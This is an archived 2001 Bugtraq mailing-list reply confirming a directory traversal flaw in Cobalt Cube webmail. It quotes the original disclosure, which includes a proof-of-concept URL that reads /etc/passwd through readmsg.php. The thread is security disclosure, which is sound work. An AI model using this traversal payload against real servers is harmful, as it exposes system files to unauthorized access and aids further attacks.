Bugtraq mailing list archives
Re: Cobalt Cube Webmail directory traversal
From: Paul Marshall <paul () roninstorm freeserve co uk>
Date: Mon, 09 Jul 2001 12:10:05 +0100
At 08:41 05/07/2001, you wrote: >I just got a new Cobalt Cube today and I have been poking around at it >for security issues... I noticed this minor issue in the webmail system. >Your >users are not aloud to have shell access by default however if they >malform their mailbox requests they can read local files with the perms >of the webserver. If your users have shell access they will not really >be gaining anything however this could be used to remotely gather >information for a future attack. > >[admin admin]$ uname -a >Linux cube.ckfr.com 2.2.16C7 #1 Fri Sep 8 15:58:03 PDT 2000 i586 unknown >[admin admin]$ cat /etc/issue > >Cobalt Linux release 6.0 (Carmel) >Kernel 2.2.16C7 on an i586 > >http://YOURCOBALTBOX:444/base/webmail/readmsg.php?mailbox=../../../../../../ >../../../../../../../../etc/passwd&id=1 > >-KFWell caught. I'll confirm the fault with my Cobalt Qube3's running the latest patches that their BlueLinq provides. Surprising, to say the least. You'd think they'd not allow traversal outside of your home directory...
Paul
Current thread:
- Cobalt Cube Webmail directory traversal KF (Jul 05)
- Re: Cobalt Cube Webmail directory traversal Paul Marshall (Jul 09)
- Re: Cobalt Cube Webmail directory traversal John (Jul 10)
- Re: Cobalt Cube Webmail directory traversal Paul Marshall (Jul 09)